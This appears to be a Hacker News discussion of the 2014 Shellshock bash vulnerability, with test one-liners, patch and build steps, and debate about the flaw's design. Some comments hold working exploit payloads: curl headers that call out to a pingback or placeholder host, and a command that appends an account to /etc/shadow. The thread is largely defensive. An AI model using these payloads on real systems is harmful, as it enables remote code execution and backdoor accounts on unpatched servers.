CVE-2014-6271: Remote code execution through bash (opens in new tab)

You can break the one-liner into two lines to see what is happening.

    1. hobbes@media:~$ export badvar='() { :;}; echo vulnerable'
    2. hobbes@media:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
    3. bash: warning: badvar: ignoring function definition attempt
    4. bash: error importing function definition for `badvar'
    5. I am an innocent sub process in 4.3.25(1)-release

2. Create an innocent sub process. Bash in this case. During initialization...

3. ...bash spots the specially formed variable (named badvar), prints a warning,

4. ...and apparently doesn't define the function at all?

5. But other than that, the child bash runs as expected.

And now the same two input lines on and OLD bash:

    1. hobbes@metal:~$ export badvar='() { :;}; echo vulnerable'
    2. hobbes@metal:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
    3. vulnerable
    4. I am an innocent sub process in 4.3.22(1)-release

2. Create an innocent sub process. Bash in this case. During initialization...

3. ...bash accidentally EXECUTES a snippet that was inside the variable named 'badvar'?!

4. But other than that, the child bash runs as expected. Wow, I should update that machine. :)

This applies even if your shell script or shell snippet uses the full paths to commands. For instance:

    $ env '/sbin/foo'='() { echo exploit; }' bash -c '/sbin/foo'
    exploit

$ env X='() { (a)=>\' sh -c "echo date"; cat echo

https://twitter.com/taviso/status/514887394294652929#

env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("

From https://securityblog.redhat.com/2014/09/24/bash-specially-cr...

Another huge family of vulnerabilities that exists for the same reason are SQL injection vulnerabilities. SQL was invented as a way for humans at a terminal to do database operations. However, we started using it as a way of doing IPC. The problem with using human interfaces as an IPC mechanism is that human interfaces are rarely well-defined or minimal, so it is very hard to constrain behavior to what you expect.

The way to fix all of these bugs is to use well-defined, computer-oriented IPC mechanisms where there is a clear distinction between code and data. For example, database queries might be constructed by function call instead of string manipulation, which could pack them into a safe TLV format with no chance of malicious query injection. Generating web server content from a different language could be done via a proper FFI or message passing mechanism, rather than CGI scripts.

  #assume that your sources are in /src
  cd /src
  wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
  #download all patches
  for i in $(seq -f "%03g" 0 25); do wget     http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
  tar zxvf bash-4.3.tar.gz 
  cd bash-4.3
  #apply all patches
  for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done
  #build and install
  ./configure && make && make install

Edit: not implying that Debian and Ubuntu aren't affected too, just that the impact there will be lessened.

The parsing bug is a red herring; there are probably ways to exploit the feature even when it doesn't have the bug.

The parsing bug means that the mere act of defining the function in the child bash will execute the attacker's code stored in the environment variable.

But if this problem is closed, the issue remains that the attacker controls the environment variable; the malicious code can be put inside the function body. Even though it will not then be executed at definition time, perhaps some child or grand-child bash can be nevertheless goaded into calling the malicious function.

Basically this is a misfeature that must be rooted out, pardon the pun.

env X='() { (a)=>\' sh -c "echo date"; cat e

From http://seclists.org/oss-sec/2014/q3/672

Is the worry here that the code gets executed by the kernel or superuser, enabling privilege escalation? Otherwise it wouldn't be a big deal that extra code is executed by a function declaration.

Another attack surface is OpenSSH through the use of AcceptEnv variables. As well through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an arbitrary name can carry a nefarious function which can enable network exploitation.

EDIT: Finally got things updated. Bulletin can be found here: https://alas.aws.amazon.com/ALAS-2014-418.html

If yum isn't finding the update, try running "yum clean all" and then "yum update bash"

I write hundreds of shell scripts per year and I never, ever use bash. Everything can be done with a less complex /bin/sh having only POSIX-like features.

There's no reason webservers have to use bash by default.

Sysadmins might need a hefty shell will lots of features in order to do their work, but an httpd should not need access to bash-isms. It should work fine with a very minimal POSIX-like shell.

I'm glad the systems I use do not have bash installed by default. The only time I ever use it is when a software author tries to force me to use bash by writing their install scripts in it and using bash-isms so the script will not run with a simpler shell like a BSD /bin/sh.

Edit: after a brief glance over the affected code, this might not be so easy to patch completely - the actual method where everything interesting starts to take place is initialize_shell_variables in variables.c and parse_and_execute() in builtins/evalstring.c, so parsing and execution happen together; this is necessary to implement the shell grammar and is part of what makes it so powerful, but it can also be a source of vulnerabilities if it's not used carefully. I suppose one attempt at fixing this could be to separate out the function parsing code into its own function, one which can't ever cause execution of its input, and use that to parse function definitions in environment variables. This would be a pretty easy and elegant thing to do with a recursive-descent parser, but bash uses a lex/yacc-generated one to consume an entire command at once...

However, all in all I'm not so sure this ability to export funcdefs is such a good idea - forking a subshell automatically inherits the functions in the parent, and if it's a shell that wasn't created in such a manner, if it needs function definitions it can read them itself from some other source. This "feature" also means environment variables cannot start with the string '() {' (and exactly the string '() {' - even removing the space between those characters, e.g. '(){', doesn't trigger it) without causing an error in any subprocess - violating the usual assumption that environment variables can hold any arbitrary string. It might be a rare case, but it's certainly a cause for surprise.

This should be fun

This thing seriously needs to be patched asap. Update your systems now.

http://seclists.org/oss-sec/2014/q3/650

This is why I keep coming back to HN. I've gotten an amazing amount of useful info on this very quickly. Great discussion - no trolling, no BS, just serious questions and serious answers.

Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install?

I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true in my case, but still.

  You may not use data derived from outside your program to affect something
  else outside your program--at least, not by accident. All command line
  arguments, environment variables, locale information (see perllocale),
  results of certain system calls (readdir(), readlink(), the variable
  of shmread(), the messages returned by msgrcv(), the password,
  gcos and shell fields returned by the getpwxxx() calls), and all
  file input are marked as "tainted".

  Tainted data may not be used directly or indirectly in any command
  that invokes a sub-shell, nor in any command that modifies files,
  directories, or processes, with the following exceptions:

  foom:~ steve$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
  vulnerable
  this is a test

    curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' 

http://seclists.org/oss-sec/2014/q3/671

The only service exposed is ssh, and no one outside the company has an account. Is it still vulnerable through ssh?

/edit: the Red Hat blog has a good overview https://securityblog.redhat.com/2014/09/24/bash-specially-cr...

  % E='() { echo hi; }; echo cry' bash -c 'echo "-$E-"'
  bash: warning: E: ignoring function definition attempt
  bash: error importing function definition for `E'
  --

In fact, if I wanted my variable to be a function, why wouldn't I just explicitly eval it? What's the use case at all for this functionality?

Basically, if some program does invoke /bin/bash, control first passes to this code which truncates suspicious environment variables. (and it dumps messages to the system log if/when it finds anything...)

The check should match for any variety of white space:

=(){

=() {

= ( ) {

etc... but feel free to update it for whatever other stupid things bash allows.

The code is at http://ad5ey.net/bash_shock_fix.c

Simple usage:

cd /bin

gcc -std=c11 -Wall -Wextra bash_shock_fix.c -o bash_shock_fix

mv bash bash.real

ln -s bash_shock_fix bash

phoenix(pts/1):~bin# ls -al bash*

lrwxrwxrwx 1 root root 14 Sep 27 00:23 bash -> bash_shock_fix

-rwxr-xr-x 1 root root 1029624 Sep 24 14:51 bash.real

-rwxr-xr-x 1 root root 9555 Sep 27 00:23 bash_shock_fix

-rw-r--r-- 1 root root 2990 Sep 27 00:23 bash_shock_fix.c

phoenix(pts/1):~bin#

Lots of web stuff spawn shells setting environment variables to stuff in HTTP headers. LC_TIME with some time zone settings might be one.

What if there is an haproxy sitting in front of the Rails app?

Please feedback here: https://news.ycombinator.com/item?id=8366643

  curl -A "() { :; }; echo GET /pingback.php | telnet bashexploitindexer.fake 80" http://expoitablehost.com/blah.cgi

sudo apt-get update

sudo apt-get --only-upgrade install bash

knife ssh 'name:*' 'sudo apt-get update && sudo apt-get install -y --only-upgrade bash'

    $ echo $BASH_VERSION
    3.2.51(1)-release
    $ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    bash: warning: x: ignoring function definition attempt
    bash: error importing function definition for `x'
    this is a test
    $

    $ echo $BASH_VERSION
    4.3.25(1)-release
    $ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    bash: warning: x: ignoring function definition attempt
    bash: error importing function definition for `x'
    this is a test
    $

The ultimate whitelist.

And they're executed with sudo but sudo empties out env vars with functions in them on the machines I use. Oldest is RHEL5.

  bash-3.2$ anyvariable='() { true; }; echo foo' bash
  foo

env x='() { :;}; echo "johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1ctGjN1fXrpsusRHRKTHf/E15OA2Nr4TdTF9F0SS4ousy3WrPCI2ofdNoAonRnNPQ7Ja3FQ/:15997:0:99999:7:::" >>/etc/shadow' bash -c "echo this is just a test"

Hacked!!

but this only work from root :/ and johndoe xD

So.. who has an example of common scripts that are executed remotely in most servers while accepting remote environment? Til then, the panic seems unjustified...